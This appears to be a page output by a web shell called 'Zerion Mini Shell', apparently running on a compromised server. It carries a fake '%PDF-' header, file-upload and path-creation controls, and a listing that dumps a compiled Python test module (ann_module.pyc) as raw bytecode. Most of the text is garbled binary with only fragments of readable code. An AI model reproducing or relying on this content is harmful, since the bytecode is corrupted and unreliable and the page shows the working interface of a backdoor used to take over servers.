%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core20/2379/lib/python3.8/test/__pycache__/
Upload File :
Create Path :
Current File : //snap/core20/2379/lib/python3.8/test/__pycache__/ann_module.cpython-38.pyc

U

k�]eP�@sUdZddlmZddlmZded<Gdd�d�ZddlmZd	Ze	ed
<eZ
eed<ee	e	fed<Gd
d�de�Z
dZeGdd�de�ZddlmZedef�Zed�ZGdd�d�ZGdd�de�ZGdd�de�ZGdd�ded�Zd%e	d�d d!�Zd"d#�Zd$S)&zw
The module for testing variable annotations.
Empty lines above are for good reason (testing for correct line numbers)
�)�Optional��wraps��c@s"eZdZUdZdZeded<dS)�C�N�y)�__name__�
__module__�__qualname__�xr	r�__annotations__�rr�%/usr/lib/python3.8/test/ann_module.pyr
s
r)�Tuplerr
r	�fc@s"eZdZUded<eZeed<dS)�M�{Z123�oN)r
rrr�objectr�typerrrrrs
rTc@s&eZdZUdZeed<dZeed<dS)�D�hi�jZbye�kN)r
rrr�strrrrrrrrs
r)�	new_class�H�Jc@s"eZdZUdZeed<dd�ZdS)�Fr�zcCsdS�Nr)�selfr
rrr�__init__$sz
F.__init__N)r
rrr!�intrr$rrrrr "s
r cseZdZ�fdd�Z�ZS)�Ycstt|��d�dS)Nr)�superr r$)r#��	__class__rrr$(sz
Y.__init__)r
rrr$�
__classcell__rrr(rr&'sr&cseZdZ�fdd�Z�ZS)�Metacst��||||�Sr")r'�__new__)�meta�name�bases�	namespacer(rrr,,szMeta.__new__)r
rrr,r*rrr(rr++sr+c@s&eZdZUdZeed<dZeed<dS)�SZ	somethingr
zsomething elser	N)r
rrr
rrr	rrrrr1/s
r1)�	metaclass�
)r
cCsttd�dd�}|�dS)N)r	cSsd}dS)NZyesr)r	r
rrr�bar4szfoo.<locals>.bar)ZListr)r
r4rrr�foo3sr5cst���fdd��}|S)Ncs
�||�Sr"r)�args�kwargs��funcrr�wrapper9szdec.<locals>.wrapperr)r9r:rr8r�dec8sr;N)r3)�__doc__�typingr�	functoolsrrrrr
r%r	rrrZpars�boolr�typesrZh_classZj_classr r&r+r1r5r;rrrr�<module>s(

Zerion Mini Shell 1.0